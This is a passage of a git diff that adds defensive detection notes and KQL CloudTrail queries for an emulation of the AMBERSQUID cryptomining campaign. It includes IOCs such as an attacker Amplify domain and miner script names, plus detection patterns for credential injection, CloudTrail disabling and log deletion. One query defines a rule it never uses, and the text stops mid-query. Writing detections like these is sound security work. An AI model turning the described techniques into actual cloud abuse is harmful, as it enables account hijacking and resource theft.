AMBERSQUID: Amplify subdomain acquisition as attacker callback infrastructure + +## Execution Plane +Control plane - but generates NO dedicated CloudTrail events for domain acquisition. +AMBERSQUID does not register domains through AWS Route 53 or any directly observable +API. Instead, amplifyapp.com subdomains (e.g. master.d19tgz4vpyd5.amplifyapp.com) +are automatically assigned by AWS Amplify as a side-effect of CreateApp calls made +in victim accounts during prior campaigns. The attacker uses victim-account Amplify +capacity to stage their own callback infrastructure at no cost. + +## First Observable Event +The closest CloudTrail proxy is the `amplify:CreateApp` event in T1059.009 +(Cloud API execution phase). The assigned `defaultDomain` in the CreateApp +responseElements contains the acquired amplifyapp.com subdomain. +See: sigma_t1583.001.yml / kql_t1583.001.kql + +## Detection Alternatives (in priority order) + +### 1. CloudTrail Proxy - Amplify CreateApp + responseElements Domain Extraction +Extract `responseElements.app.defaultDomain` from Amplify CreateApp events in +CloudTrail and correlate against threat intel IOC domain lists. + +```kql +AWSCloudTrail +| where EventSource == "amplify.amazonaws.com" +| where EventName == "CreateApp" +| extend AssignedDomain = tostring(parse_json(ResponseElements).app.defaultDomain) +| where AssignedDomain != "" +| project TimeGenerated, AssignedDomain, UserIdentityArn, SourceIpAddress +// Feed AssignedDomain list to PassiveDNS / threat intel correlation +``` + +AMBERSQUID IOC domain: `master.d19tgz4vpyd5.amplifyapp.com` + +### 2. PassiveDNS / External Threat Intel +Monitor PassiveDNS feeds (VirusTotal, Shodan, Censys, Farsight DNSDB) for: + - New A/CNAME records pointing to `*.amplifyapp.com` domains + - DNS queries from corporate egress IPs to `amplifyapp.com` subdomains + - Certificate Transparency logs (crt.sh) for new `*.amplifyapp.com` certificates + indicating freshly created Amplify apps + +These feeds detect the attacker's use of the domain before any victim-side +CloudTrail event is available. + +### 3. GuardDuty - DNS Finding +If a victim EC2 or ECS task resolves an AMBERSQUID-controlled amplifyapp.com domain: + - Finding: `Backdoor:EC2/C&CActivity.B!DNS` (if domain is in GuardDuty threat intel) + - Finding: `UnauthorizedAccess:EC2/MaliciousIPCaller` (if IP is flagged) + +GuardDuty threat intel feeds include known C2 domains. AMBERSQUID's Amplify domain +may or may not be in the feed depending on reporting lag after campaigns are disclosed. + +### 4. AWS Amplify Access Logs / Web Application Firewall +If AMBERSQUID uses the Amplify domain as a webhook or callback: + - Amplify access logs (via CloudWatch) capture inbound HTTP requests + - WAF logs capture anomalous access patterns from external attacker infrastructure + - Look for POST requests to Amplify endpoints from ECS task source IPs + +### 5. Network Proxy / DNS Sinkhole +Enterprise DNS sinkholes and secure web gateways with threat intel feeds can: + - Block outbound DNS queries to known attacker `amplifyapp.com` subdomains + - Log and alert on resolution attempts regardless of success/failure + - Detect HTTP(S) connections to `amplifyapp.com` from ECS task ENI IP ranges + +## AMBERSQUID-Specific IOCs for This Technique +- Known attacker domain: `master.d19tgz4vpyd5.amplifyapp.com` +- Domain pattern: `master..amplifyapp.com` (Amplify default branch naming) +- Infrastructure provider: AWS Amplify (attacker acquires domains in victim accounts) +- No registration cost: amplifyapp.com is a free AWS-assigned subdomain +- Multi-account acquisition: AMBERSQUID creates Amplify apps in each victim account, + acquiring a new subdomain per account — defenders should monitor their own account's + Amplify app creation rate (> 5 apps within 10 minutes is anomalous) diff --git a/emulations/ambersquid/detections/detection_note_t1608.001.md b/emulations/ambersquid/detections/detection_note_t1608.001.md new file mode 100644 index 0000000..e7b7e20 --- /dev/null +++ b/emulations/ambersquid/detections/detection_note_t1608.001.md @@ -0,0 +1,113 @@ +# Detection Note: T1608.001 - Stage Capabilities: Upload Malware +# AMBERSQUID: SRBMiner-MULTI (UPX-packed) staged on external Docker registry + +## Execution Plane +Control plane (external) - generates NO CloudTrail events in the victim account. +AMBERSQUID pushes a malicious Docker image to an attacker-controlled or public +container registry (Docker Hub or similar) BEFORE targeting victim AWS accounts. +The staging happens entirely outside the victim's AWS environment. CloudTrail only +captures downstream events when the staged image is pulled by an ECS task or +referenced in a task definition. + +## First Observable Event +The earliest victim-account proxy for this technique is: +- `ecs:RegisterTaskDefinition` referencing `ubuntu:22.04` or another public base image + (CloudTrail visible at T1059.009 / T1610 phases) +- The ambersquid-task-definition created by the victim themselves (before compromise) + may already contain the public image reference that AMBERSQUID exploits + +See: sigma_t1608.001.yml / kql_t1608.001.kql + +## Detection Alternatives (in priority order) + +### 1. ECS Task Definition Inspection - Public Image Reference +RegisterTaskDefinition CloudTrail events referencing images from public registries +(docker.io, ubuntu, public.ecr.aws) from non-console, non-CDK sessions: + +```kql +AWSCloudTrail +| where EventSource == "ecs.amazonaws.com" +| where EventName == "RegisterTaskDefinition" +| where RequestParameters has_any ("\"image\":\"ubuntu", "\"image\":\"docker.io") +| where UserAgent !contains "console.aws.amazon.com" +| extend TaskFamily = tostring(parse_json(RequestParameters).family) +| project TimeGenerated, TaskFamily, UserIdentityArn, SourceIpAddress +``` + +### 2. AWS Credential Injection Detection (Highest Priority) +AMBERSQUID's staged image works by reading injected AWS credentials from container +environment variables. The RegisterTaskDefinition call that injects these credentials +is the highest-fidelity single event: + +```kql +AWSCloudTrail +| where EventSource == "ecs.amazonaws.com" +| where EventName == "RegisterTaskDefinition" +| where RequestParameters has_any ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY") +``` + +This is a security misconfiguration indicator independent of AMBERSQUID — any task +definition with plaintext AWS credentials in environment variables should be alerted +unconditionally. Use AWS Secrets Manager or IAM task roles instead. + +### 3. Amazon Inspector - Container Image Scanning +Amazon Inspector (with ECR integration) scans images for: + - UPX-packed ELF binaries (SRBMiner-MULTI is UPX-packed — Inspector detects this) + - Known malware signatures: SRBMiner, XMRig, NBMiner, T-Rex + - CVE findings in image layers (ubuntu base layer vulnerabilities) + +Limitation: Inspector scans ECR-hosted images. AMBERSQUID uses Docker Hub images +pulled directly by ECS — Inspector does NOT scan at pull time unless ECR pull-through +cache is configured with inspection enabled (ECR pull-through cache + Inspector). + +To detect at pull time: + 1. Configure ECR pull-through cache for docker.io + 2. Enable Amazon Inspector on ECR + 3. Any pull of `ubuntu:22.04` or other public images goes through ECR first, + triggering Inspector scan before the container runs + +### 4. VirusTotal / Threat Intel - Image Digest Lookup +Container image digests (SHA256) are available in: + - ECR PutImage responseElements (if image is pulled into ECR) + - ECS task metadata endpoint (from within the container at runtime) + +Submit image digest to VirusTotal or Malware Bazaar to check for UPX-packed +SRBMiner-MULTI signatures. AMBERSQUID's specific image may be indexed from +prior campaign incident reports. + +### 5. GuardDuty - Runtime Monitoring for Container Execution +GuardDuty ECS Runtime Monitoring (requires opt-in): + - Finding: `Execution:Runtime/NewBinaryExecuted` — detects SRBMiner binary executed + inside the container at runtime (even from ubuntu base image) + - Finding: `CryptoCurrency:Runtime/BitcoinTool.B` — detects mining pool connections + - Requires GuardDuty agent deployment alongside ECS tasks + +GuardDuty Runtime Monitoring catches the staged image at execution time, not at +pull time — but it closes the detection gap left by Inspector for Docker Hub images. + +### 6. AWS Security Hub Controls +Security Hub provides automated checks relevant to this technique: + - ECS.1: ECS task definitions should not have elevated privilege + - ECS.2: ECS services should not have public IP addresses automatically assigned + - ECS.10: ECS Fargate services should run on the latest platform version + +### 7. EDR / CNAPP - Container Runtime Security +Container runtime security tools (Falco, Sysdig, Aqua, Prisma) detect: + - UPX unpacking behavior (mprotect + write to executable memory) + - Outbound TCP to known mining pool IP ranges + - Process name matching SRBMiner-MULTI or srbminer binary signature + - Anomalous CPU consumption combined with network activity + +## AMBERSQUID-Specific IOCs for This Technique +- Malicious image stand-in: `ubuntu:22.04` (real attack uses custom image) +- Real image content: + - SRBMiner-MULTI (UPX-packed ELF binary) + - entrypoint.sh (credential reader + script dispatcher) + - amplify-role.sh, repo.sh, code.sh, jalan.sh, sup0.sh, ecs.sh, ulang.sh, + note.sh, salah.sh, delete.sh, stoptrigger.sh, scale.sh, restart.sh + - amplify.yml, index.py, amplify-role.json, sugo.json, ecsTaskExecutionRole.json +- Tool used for packing: UPX (Universal Packer for eXecutables) +- Mining algorithms: ZEPHYR, TRX, RVN, XMR +- Image behavior: reads AWS_ACCESS_KEY_ID + AWS_SECRET_ACCESS_KEY from env, then + executes deployment scripts that replicate AMBERSQUID infrastructure across + Amplify, CodeCommit, CodeBuild, SageMaker, and ECS diff --git a/emulations/ambersquid/detections/kql_t1059.009.kql b/emulations/ambersquid/detections/kql_t1059.009.kql new file mode 100644 index 0000000..60d5db6 --- /dev/null +++ b/emulations/ambersquid/detections/kql_t1059.009.kql @@ -0,0 +1,83 @@ +// FILE: kql_t1059.009.kql +// T1059.009 Command and Scripting Interpreter: Cloud API - AMBERSQUID Multi-Service Burst +// Detects rapid provisioning across 3+ distinct AWS services within a 10-minute window +// from AssumedRole sessions. Also flags individual high-risk events in isolation. + +let ProvisioningEvents = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventName in ( + "CreateApp", // Amplify + "CreateRepository", // CodeCommit + "CreateProject", // CodeBuild + "StartBuild", // CodeBuild + "CreateNotebookInstance",// SageMaker + "CreateCluster", // ECS + "RegisterTaskDefinition" // ECS + ) +| where UserAgent !contains "console.aws.amazon.com" +| where UserAgent !contains "AWSConsole" +| extend ServiceCategory = case( + EventSource == "amplify.amazonaws.com", "Amplify", + EventSource == "codecommit.amazonaws.com", "CodeCommit", + EventSource == "codebuild.amazonaws.com", "CodeBuild", + EventSource == "sagemaker.amazonaws.com", "SageMaker", + EventSource == "ecs.amazonaws.com", "ECS", + EventSource + ); + +// Rule 1: Multi-service burst - 3+ distinct services within 10 minutes +ProvisioningEvents +| summarize + ServiceCount = dcount(ServiceCategory), + Services = make_set(ServiceCategory), + EventCount = count(), + Events = make_set(EventName), + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated) + by UserIdentityArn, SourceIpAddress, bin(TimeGenerated, 10m), RecipientAccountId +| where ServiceCount >= 3 +| extend DwellSeconds = datetime_diff('second', LastSeen, FirstSeen) +| extend Severity = case( + ServiceCount >= 5, "CRITICAL", + ServiceCount >= 4, "HIGH", + "MEDIUM" + ) +| extend AlertReason = strcat("Multi-service provisioning burst: ", tostring(ServiceCount), " services in 10 minutes") +| project FirstSeen, LastSeen, DwellSeconds, Severity, AlertReason, ServiceCount, Services, + EventCount, Events, UserIdentityArn, SourceIpAddress, RecipientAccountId +| sort by ServiceCount desc, FirstSeen desc +| union ( + // Rule 2: SageMaker notebook from AssumedRole (isolated high-signal event) + AWSCloudTrail + | where TimeGenerated > ago(24h) + | where EventSource == "sagemaker.amazonaws.com" + | where EventName == "CreateNotebookInstance" + | where UserIdentityType == "AssumedRole" + | where UserAgent !contains "console.aws.amazon.com" + | extend InstanceName = tostring(parse_json(RequestParameters).notebookInstanceName) + | extend InstanceType = tostring(parse_json(RequestParameters).instanceType) + | extend RoleArn = tostring(parse_json(RequestParameters).roleArn) + | project TimeGenerated, EventName, InstanceName, InstanceType, RoleArn, + UserIdentityArn, UserIdentityType, SourceIpAddress, AWSRegion, RecipientAccountId + | extend Severity = "HIGH" + | extend AlertReason = "SageMaker notebook created from AssumedRole session (non-console)" + | project FirstSeen = TimeGenerated, Severity, AlertReason, InstanceName, InstanceType, + RoleArn, UserIdentityArn, SourceIpAddress, AWSRegion, RecipientAccountId + ) +| union ( + // Rule 3: Amplify app with CodeCommit source from non-console + AWSCloudTrail + | where TimeGenerated > ago(24h) + | where EventSource == "amplify.amazonaws.com" + | where EventName == "CreateApp" + | where RequestParameters contains "git-codecommit" + | where UserAgent !contains "console.aws.amazon.com" + | extend AppName = tostring(parse_json(RequestParameters).name) + | extend RepoUrl = tostring(parse_json(RequestParameters).repository) + | project TimeGenerated, EventName, AppName, RepoUrl, + UserIdentityArn, UserIdentityType, SourceIpAddress, AWSRegion, RecipientAccountId + | extend Severity = "HIGH" + | extend AlertReason = "Amplify app created with CodeCommit source from non-console session" + | project FirstSeen = TimeGenerated, Severity, AlertReason, AppName, RepoUrl, + UserIdentityArn, SourceIpAddress, AWSRegion, RecipientAccountId + ) diff --git a/emulations/ambersquid/detections/kql_t1070.kql b/emulations/ambersquid/detections/kql_t1070.kql new file mode 100644 index 0000000..48cfad6 --- /dev/null +++ b/emulations/ambersquid/detections/kql_t1070.kql @@ -0,0 +1,96 @@ +// FILE: kql_t1070.kql +// T1070 Indicator Removal - AMBERSQUID CloudTrail Disable and Evidence Cleanup +// Three detection tiers: (1) StopLogging event itself (always fires before logging stops), +// (2) DeleteObject on CloudTrail S3 bucket (log destruction), (3) multi-resource +// deletion burst (resource evidence cleanup). Highest priority alert in the kill chain. + +// Rule 1: StopLogging - CRITICAL single-event detection, fires before logging is disabled +let StopLoggingAlert = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "cloudtrail.amazonaws.com" +| where EventName in ("StopLogging", "DeleteTrail") +| extend TrailName = tostring(parse_json(RequestParameters).name) +| project TimeGenerated, EventName, TrailName, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "CRITICAL" +| extend AlertReason = strcat(EventName, " detected - CloudTrail logging disabled (fires before logging stops, always captured)"); + +// Rule 2: DeleteObject on CloudTrail/audit log S3 buckets +let LogDeletionAlert = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "s3.amazonaws.com" +| where EventName == "DeleteObject" +| extend BucketName = tostring(parse_json(RequestParameters).bucketName) +| extend ObjectKey = tostring(parse_json(RequestParameters).key) +| where BucketName has_any ("cloudtrail", "trail-logs", "audit-logs", "logging") or + ObjectKey has_any ("CloudTrail", "AWSLogs") +| project TimeGenerated, EventName, BucketName, ObjectKey, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "CRITICAL" +| extend AlertReason = "DeleteObject on CloudTrail log S3 bucket - evidence destruction"; + +// Rule 3: StopLogging followed by DeleteObject within 10 minutes (compound indicator) +let StopLogging2 = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "cloudtrail.amazonaws.com" +| where EventName == "StopLogging" +| project StopTime = TimeGenerated, UserIdentityArn, SourceIpAddress, RecipientAccountId; + +let S3Delete = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "s3.amazonaws.com" +| where EventName == "DeleteObject" +| extend BucketName = tostring(parse_json(RequestParameters).bucketName) +| extend ObjectKey = tostring(parse_json(RequestParameters).key) +| project DeleteTime = TimeGenerated, UserIdentityArn, SourceIpAddress, RecipientAccountId, + BucketName, ObjectKey; + +let CompoundLogDestruction = StopLogging2 +| join kind=inner (S3Delete) on UserIdentityArn, SourceIpAddress, RecipientAccountId +| where DeleteTime > StopTime +| where datetime_diff('minute', DeleteTime, StopTime) <= 10 +| extend Severity = "CRITICAL" +| extend AlertReason = "StopLogging followed by S3 log object deletion within 10 minutes (compound evasion)" +| project StopTime, DeleteTime, Severity, AlertReason, BucketName, ObjectKey, + UserIdentityArn, SourceIpAddress, RecipientAccountId; + +// Rule 4: Multi-resource deletion burst (AMBERSQUID cleanup sweep) +let ResourceCleanupBurst = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventName in ( + "DeleteApp", // Amplify + "DeleteRepository", // CodeCommit + "DeleteCluster", // ECS + "DeleteNotebookInstance",// SageMaker + "DeleteProject", // CodeBuild + "DetachRolePolicy", // IAM pre-delete + "DeleteRole" // IAM + ) +| where UserIdentityType in ("IAMUser", "AssumedRole") +| where UserAgent !contains "console.aws.amazon.com" +| summarize + DeleteCount = count(), + DeletedResources = make_set(EventName), + DistinctServices = dcount(EventSource), + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated) + by UserIdentityArn, SourceIpAddress, bin(TimeGenerated, 10m), RecipientAccountId +| where DeleteCount >= 3 +| extend Severity = case( + DistinctServices >= 4, "HIGH", + DistinctServices >= 2, "MEDIUM", + "LOW" + ) +| extend AlertReason = strcat("Multi-resource deletion burst: ", tostring(DeleteCount), " deletes across ", tostring(DistinctServices), " services in 10 minutes") +| project FirstSeen, LastSeen, Severity, AlertReason, DeleteCount, DeletedResources, + DistinctServices, UserIdentityArn, SourceIpAddress, RecipientAccountId; + +union StopLoggingAlert, LogDeletionAlert +| union (CompoundLogDestruction | project TimeGenerated = StopTime, EventName = "StopLogging+DeleteObject", + BucketName, ObjectKey, UserIdentityArn, UserIdentityType = "compound", SourceIpAddress, + UserAgent = "N/A", AWSRegion = "compound", RecipientAccountId, Severity, AlertReason) +| union (ResourceCleanupBurst | extend TimeGenerated = FirstSeen, EventName = "MultiResourceDeleteBurst", + UserIdentityType = "mixed", UserAgent = "N/A", AWSRegion = "multi" + | project TimeGenerated, EventName, UserIdentityArn, UserIdentityType, SourceIpAddress, + UserAgent, AWSRegion, RecipientAccountId, Severity, AlertReason) +| sort by TimeGenerated desc diff --git a/emulations/ambersquid/detections/kql_t1078.004.kql b/emulations/ambersquid/detections/kql_t1078.004.kql new file mode 100644 index 0000000..e755824 --- /dev/null +++ b/emulations/ambersquid/detections/kql_t1078.004.kql @@ -0,0 +1,49 @@ +// FILE: kql_t1078.004.kql +// T1078.004 Valid Accounts: Cloud Accounts - AMBERSQUID Credential Validation +// Detects rapid IAM credential recon burst (GetCallerIdentity -> GetUser -> +// ListAttachedUserPolicies) from non-console IAMUser session within a 2-minute window. +// Elevated confidence when source IP has no prior console activity on that day. + +let LookbackWindow = 2m; +let ReconEvents = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource in ("sts.amazonaws.com", "iam.amazonaws.com") +| where EventName in ("GetCallerIdentity", "GetUser", "ListAttachedUserPolicies", "GetAccountSummary") +| where UserIdentityType == "IAMUser" +| where UserAgent !contains "console.aws.amazon.com" +| where UserAgent !contains "signin.aws.amazon.com" +| where UserAgent !contains "AWSConsole" +| project TimeGenerated, EventName, EventSource, SourceIpAddress, UserIdentityArn, UserAgent, AWSRegion, RecipientAccountId; +// Find sessions where 3+ distinct recon calls arrive within 2 minutes +ReconEvents +| summarize + EventCount = count(), + DistinctEvents = dcount(EventName), + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated), + EventNames = make_set(EventName), + UserAgent = any(UserAgent), + AWSRegion = any(AWSRegion) + by SourceIpAddress, UserIdentityArn, bin(TimeGenerated, LookbackWindow), RecipientAccountId +| where DistinctEvents >= 2 +| where EventCount >= 2 +| extend DwellSeconds = datetime_diff('second', LastSeen, FirstSeen) +| extend RiskScore = case( + DistinctEvents >= 3, "HIGH", + DistinctEvents == 2 and EventNames has "GetCallerIdentity", "MEDIUM", + "LOW" + ) +| project + FirstSeen, + LastSeen, + DwellSeconds, + RiskScore, + UserIdentityArn, + SourceIpAddress, + EventNames, + EventCount, + DistinctEvents, + UserAgent, + AWSRegion, + RecipientAccountId +| sort by FirstSeen desc diff --git a/emulations/ambersquid/detections/kql_t1098.001.kql b/emulations/ambersquid/detections/kql_t1098.001.kql new file mode 100644 index 0000000..8a9e294 --- /dev/null +++ b/emulations/ambersquid/detections/kql_t1098.001.kql @@ -0,0 +1,57 @@ +// FILE: kql_t1098.001.kql +// T1098.001 Account Manipulation: Additional Cloud Credentials - AMBERSQUID Multi-Role Assumption +// Detects an IAMUser assuming 2+ distinct roles within a 2-minute window (parallel session +// establishment). Elevates to CRITICAL when an IAMUser assumes a role that is normally +// assumed only by AWS services (ecsTaskExecutionRole expected assumedBy ecs-tasks.amazonaws.com). + +// Rule 1: IAMUser assumes ecsTaskExecutionRole (should only be assumed by ECS service) +let AbnormalECSRoleAssumption = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "sts.amazonaws.com" +| where EventName == "AssumeRole" +| where UserIdentityType == "IAMUser" +| where RequestParameters contains "ecsTaskExecutionRole" +| extend RoleArn = tostring(parse_json(RequestParameters).roleArn) +| extend RoleSessionName = tostring(parse_json(RequestParameters).roleSessionName) +| project TimeGenerated, EventName, UserIdentityArn, UserIdentityType, RoleArn, RoleSessionName, + SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "CRITICAL" +| extend AlertReason = "IAMUser assumed ecsTaskExecutionRole - expected assumedBy: ecs-tasks.amazonaws.com"; + +// Rule 2: AssumeRole burst - 2+ distinct roles within 2 minutes from same IAMUser +let RoleAssumptionBurst = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "sts.amazonaws.com" +| where EventName == "AssumeRole" +| where UserIdentityType == "IAMUser" +| where UserAgent !contains "console.aws.amazon.com" +| extend RoleArn = tostring(parse_json(RequestParameters).roleArn) +| summarize + RoleCount = dcount(RoleArn), + Roles = make_set(RoleArn), + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated) + by UserIdentityArn, SourceIpAddress, bin(TimeGenerated, 2m), RecipientAccountId, AWSRegion +| where RoleCount >= 2 +| extend DwellSeconds = datetime_diff('second', LastSeen, FirstSeen) +| extend Severity = iff(RoleCount >= 3, "HIGH", "MEDIUM") +| extend AlertReason = strcat("IAMUser assumed ", tostring(RoleCount), " distinct roles within 2 minutes") +| project FirstSeen, LastSeen, DwellSeconds, Severity, AlertReason, RoleCount, Roles, + UserIdentityArn, SourceIpAddress, AWSRegion, RecipientAccountId; + +// Rule 3: Known AMBERSQUID IOC role names assumed via STS +let IOCRoleAssumption = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "sts.amazonaws.com" +| where EventName == "AssumeRole" +| where RequestParameters has_any ("AWSCodeCommit-Role", "sugo-role") +| extend RoleArn = tostring(parse_json(RequestParameters).roleArn) +| project TimeGenerated, EventName, UserIdentityArn, UserIdentityType, RoleArn, + SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "HIGH" +| extend AlertReason = "AMBERSQUID IOC role name assumed via STS"; + +// RoleAssumptionBurst included via kind=outer to preserve burst-specific columns +union kind=outer AbnormalECSRoleAssumption, IOCRoleAssumption, RoleAssumptionBurst +| extend TimeGenerated = coalesce(TimeGenerated, FirstSeen) +| sort by TimeGenerated desc diff --git a/emulations/ambersquid/detections/kql_t1136.003.kql b/emulations/ambersquid/detections/kql_t1136.003.kql new file mode 100644 index 0000000..5876467 --- /dev/null +++ b/emulations/ambersquid/detections/kql_t1136.003.kql @@ -0,0 +1,60 @@ +// FILE: kql_t1136.003.kql +// T1136.003 Create Account: Cloud Account - AMBERSQUID IAM Role Burst Creation +// Detects creation of 2+ IAM roles within a 5-minute window from a non-console +// IAMUser session, especially when AdministratorAccess policy is attached. +// Also detects known AMBERSQUID IOC role names regardless of burst timing. + +// Rule 1: AdministratorAccess attached to any role from non-console session +let AdminPolicyAttach = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "iam.amazonaws.com" +| where EventName == "AttachRolePolicy" +| where RequestParameters contains "AdministratorAccess" +| where UserAgent !contains "console.aws.amazon.com" +| where UserAgent !contains "AWSConsole" +| extend RoleName = tostring(parse_json(RequestParameters).roleName) +| extend PolicyArn = tostring(parse_json(RequestParameters).policyArn) +| project TimeGenerated, EventName, RoleName, PolicyArn, UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend AlertType = "AdministratorAccess attached from non-console session"; + +// Rule 2: Known AMBERSQUID IOC role names created or manipulated +let IOCRoleNames = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "iam.amazonaws.com" +| where EventName in ("CreateRole", "AttachRolePolicy", "PutRolePolicy") +| where RequestParameters has_any ("AWSCodeCommit-Role", "sugo-role", "ecsTaskExecutionRole") +| extend RoleName = tostring(parse_json(RequestParameters).roleName) +| extend PolicyArn = tostring(parse_json(RequestParameters).policyArn) +| project TimeGenerated, EventName, RoleName, PolicyArn, UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend AlertType = "AMBERSQUID IOC role name matched"; + +// Rule 3: Burst - 3+ distinct CreateRole calls within 5 minutes from same source +let RoleCreationBurst = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "iam.amazonaws.com" +| where EventName == "CreateRole" +| where UserAgent !contains "console.aws.amazon.com" +| where UserAgent !contains "cloudformation.amazonaws.com" +| extend RoleName = tostring(parse_json(RequestParameters).roleName) +| summarize + RoleCount = count(), + RoleNames = make_set(RoleName), + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated) + by SourceIpAddress, UserIdentityArn, bin(TimeGenerated, 5m), RecipientAccountId, AWSRegion +| where RoleCount >= 2 +| extend AlertType = "IAM role creation burst (2+ roles within 5 minutes)" +| project + FirstSeen, + LastSeen, + AlertType, + RoleCount, + RoleNames, + UserIdentityArn, + SourceIpAddress, + AWSRegion, + RecipientAccountId; + +// Union all signals +union AdminPolicyAttach, IOCRoleNames, RoleCreationBurst +| sort by TimeGenerated desc diff --git a/emulations/ambersquid/detections/kql_t1525.kql b/emulations/ambersquid/detections/kql_t1525.kql new file mode 100644 index 0000000..0d95166 --- /dev/null +++ b/emulations/ambersquid/detections/kql_t1525.kql @@ -0,0 +1,72 @@ +// FILE: kql_t1525.kql +// T1525 Implant Internal Image - AMBERSQUID CodeCommit Repository Write from Attacker Role +// Detects CodeCommit access and write operations from attacker-created role sessions, +// including known AMBERSQUID miner deployment script filenames in PutFile calls. + +// Rule 1: PutFile with known AMBERSQUID miner deployment script filenames +let IOCFilePush = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "codecommit.amazonaws.com" +| where EventName == "PutFile" +| where RequestParameters has_any ( + "entrypoint.sh", "amplify-role.sh", "repo.sh", "code.sh", "jalan.sh", + "sup0.sh", "ecs.sh", "ulang.sh", "note.sh", "salah.sh", "delete.sh", + "stoptrigger.sh", "scale.sh", "restart.sh", "amplify.yml", "index.py", + "SRBMiner", "srbminer" + ) +| extend RepoName = tostring(parse_json(RequestParameters).repositoryName) +| extend FilePath = tostring(parse_json(RequestParameters).filePath) +| extend BranchName = tostring(parse_json(RequestParameters).branchName) +| project TimeGenerated, EventName, RepoName, FilePath, BranchName, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "CRITICAL" +| extend AlertReason = "AMBERSQUID miner deployment script filename detected in CodeCommit PutFile"; + +// Rule 2: CodeCommit access from AWSCodeCommit-Role (attacker IOC role name) +let AttackerRoleCodeCommit = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "codecommit.amazonaws.com" +| where UserIdentityArn contains "AWSCodeCommit-Role" +| extend RepoName = tostring(parse_json(RequestParameters).repositoryName) +| project TimeGenerated, EventName, RepoName, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "HIGH" +| extend AlertReason = "CodeCommit access from attacker IOC role: AWSCodeCommit-Role"; + +// Rule 3: CodeCommit PutFile from AssumedRole session (non-console, not CodePipeline) +let AssumedRoleWrite = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "codecommit.amazonaws.com" +| where EventName in ("PutFile", "CreateBranch", "DeleteBranch") +| where UserIdentityType == "AssumedRole" +| where UserAgent !contains "console.aws.amazon.com" +| where UserIdentityArn !contains "AWSServiceRoleForCodePipeline" +| where UserIdentityArn !contains ":assumed-role/CodePipeline" +| extend RepoName = tostring(parse_json(RequestParameters).repositoryName) +| extend FilePath = tostring(parse_json(RequestParameters).filePath) +| project TimeGenerated, EventName, RepoName, FilePath, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "MEDIUM" +| extend AlertReason = "CodeCommit write from AssumedRole session (not CodePipeline service)"; + +// Rule 4: Multi-region CodeCommit repository access burst (16-region AMBERSQUID pattern) +let MultiRegionBurst = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "codecommit.amazonaws.com" +| where EventName in ("GetRepository", "ListRepositories", "CreateRepository") +| where UserIdentityType in ("IAMUser", "AssumedRole") +| summarize + RegionCount = dcount(AWSRegion), + Regions = make_set(AWSRegion), + EventCount = count(), + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated) + by UserIdentityArn, SourceIpAddress, bin(TimeGenerated, 10m), RecipientAccountId +| where RegionCount >= 3 +| extend Severity = iff(RegionCount >= 8, "HIGH", "MEDIUM") +| extend AlertReason = strcat("CodeCommit accessed across ", tostring(RegionCount), " regions within 10 minutes") +| project FirstSeen, LastSeen, Severity, AlertReason, RegionCount, Regions, + EventCount, UserIdentityArn, SourceIpAddress, RecipientAccountId; + +union IOCFilePush, AttackerRoleCodeCommit, AssumedRoleWrite +| sort by TimeGenerated desc diff --git a/emulations/ambersquid/detections/kql_t1578.002.kql b/emulations/ambersquid/detections/kql_t1578.002.kql new file mode 100644 index 0000000..482a7a2 --- /dev/null +++ b/emulations/ambersquid/detections/kql_t1578.002.kql @@ -0,0 +1,75 @@ +// FILE: kql_t1578.002.kql +// T1578.002 Modify Cloud Compute Infrastructure: Create Cloud Instance - AMBERSQUID Compute Scaling +// Detects AMBERSQUID compute scaling patterns: IOC ASG names, ImageBuilder pipeline abuse, +// and RunInstances bursts from non-console IAM sessions. + +// Rule 1: ASG creation with AMBERSQUID IOC names ("task", "task1") +let IOCASGNames = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "autoscaling.amazonaws.com" +| where EventName == "CreateAutoScalingGroup" +| extend ASGName = tostring(parse_json(RequestParameters).autoScalingGroupName) +| where ASGName in ("task", "task1") or ASGName startswith "task" +| extend MinSize = tostring(parse_json(RequestParameters).minSize) +| extend MaxSize = tostring(parse_json(RequestParameters).maxSize) +| extend LaunchTemplate = tostring(parse_json(RequestParameters).launchTemplate) +| project TimeGenerated, EventName, ASGName, MinSize, MaxSize, LaunchTemplate, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, 